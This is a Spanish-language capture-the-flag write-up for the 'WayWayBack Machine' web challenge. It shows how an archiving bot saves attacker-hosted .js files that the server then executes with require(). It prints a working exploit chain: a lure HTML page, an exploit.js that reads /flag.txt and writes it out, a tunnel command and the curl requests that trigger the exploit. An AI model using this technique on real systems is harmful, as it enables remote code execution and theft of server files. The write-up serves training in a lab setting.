Skip to main content

WayWayBack Machine – Batman's Kitchen CTF

Batman's Kitchen CTF

Datos del reto

Campo Valor
CTF Batman's Kitchen CTF
Reto WayWayBack Machine
Categoría Web
Contexto "I got tired of having to dig around the internet for old files so I started archiving them myself."
Flag bkctf{m4yb3_1_sh0u1d_st1ck_w1th_4rch1v3_10}

Descripción del reto

La aplicación permite enviar una URL; un bot (Puppeteer) la visita, guarda un snapshot del HTML y además archiva los recursos enlazados mediante tags <link>. Los snapshots se guardan en /app/snapshots/ y se pueden ver en /snapshot/:id.


Reconocimiento

Al guardar un snapshot, el servidor extrae todas las URLs de los <link href="..."> del HTML capturado y descarga cada recurso al directorio snapshots/. El nombre del archivo se toma del path de la URL (sanitizado), así que si enlazamos https://nuestro-servidor.com/exploit.js, se guardará como exploit.js en snapshots/.


Análisis de la vulnerabilidad

Archivado de recursos (archiveResources)

// server.js - extractResourceUrls() + downloadFile()
const resourceUrls = extractResourceUrls(htmlContent, targetUrl);
// ...
await downloadFile(resourceUrl, savePath);  // guarda en SNAPSHOTS_DIR

Punto crítico: preloadSnapshotResources()

Al visitar cualquier snapshot (GET /snapshot/:id), el servidor llama a esta función antes de servir el HTML:

async function preloadSnapshotResources() {
  const entries = fs.readdirSync(SNAPSHOTS_DIR, { withFileTypes: true });
  for (const entry of entries) {
    if (path.extname(entry.name) === '.js') {
      require(filePath);  // ¡Ejecuta cualquier .js del directorio!
    }
  }
}

Cualquier archivo .js que esté en snapshots/ se carga con require(), es decir, ejecución de código Node.js en el servidor (RCE).

Cadena de ataque

  1. Hacemos que el bot archive una página nuestra con un <link> apuntando a un archivo .js controlado por nosotros.
  2. Ese .js se descarga y se guarda en snapshots/.
  3. Cuando alguien (nosotros) visita un snapshot, preloadSnapshotResources() hace require() de nuestro .js.
  4. Nuestro código se ejecuta en el proceso del servidor: podemos leer /flag.txt y escribirla en un archivo accesible (por ejemplo otro HTML en snapshots/).

Explotación

Archivos necesarios

index.html (servido por nuestro HTTP):

<html>
<head>
<link rel="stylesheet" href="/exploit.js">
</head>
<body><p>Archiving this page</p></body>
</html>

exploit.js (contenido que se descargará y luego se ejecutará vía require()):

const fs = require('fs');
const path = require('path');
try {
  const flag = fs.readFileSync('/flag.txt', 'utf8');
  fs.writeFileSync(
    path.join(__dirname, 'flag_exfil.html'),
    '<html><body><h1>' + flag + '</h1></body></html>'
  );
} catch(e) {}
  • Usamos URL relativa (/exploit.js) para que funcione con cualquier dominio (p. ej. un túnel como localhost.run).

Pasos

  1. Exponer nuestro servidor para que el bot del CTF pueda acceder (por ejemplo con localhost.run):

    python3 -m http.server 8888 --bind 127.0.0.1
    ssh -R 80:127.0.0.1:8888 nokey@localhost.run
    

    Anotar la URL pública (ej. https://xxxxx.lhr.life).

  2. Enviar esa URL al reto:

    curl -X POST https://waywayback-machine-..../api/snapshot \
      -H "Content-Type: application/json" \
      -d '{"url": "https://xxxxx.lhr.life"}'
    
  3. Esperar a que el status sea complete (poll a /api/snapshot/:id/status).

  4. Visitar el snapshot para disparar preloadSnapshotResources() y que se ejecute nuestro exploit.js:

    curl https://waywayback-machine-..../snapshot/<snapshot_id>
    
  5. Leer la flag en el HTML que escribimos:

    curl https://waywayback-machine-..../snapshot/flag_exfil
    

Flag

bkctf{m4yb3_1_sh0u1d_st1ck_w1th_4rch1v3_10}

Lecciones aprendidas

  • Tipo: Server-Side Code Injection / RCE.
  • Causa: preloadSnapshotResources() hace require() de todos los .js en snapshots/ sin validar su origen.
  • Entrada: El bot descarga recursos de <link> y los guarda en ese mismo directorio, permitiendo inyectar un .js malicioso.
  • Mitigación: No ejecutar código arbitrario desde un directorio donde se guardan archivos descargados; o no archivar/guardar archivos .js de páginas externas en ese directorio.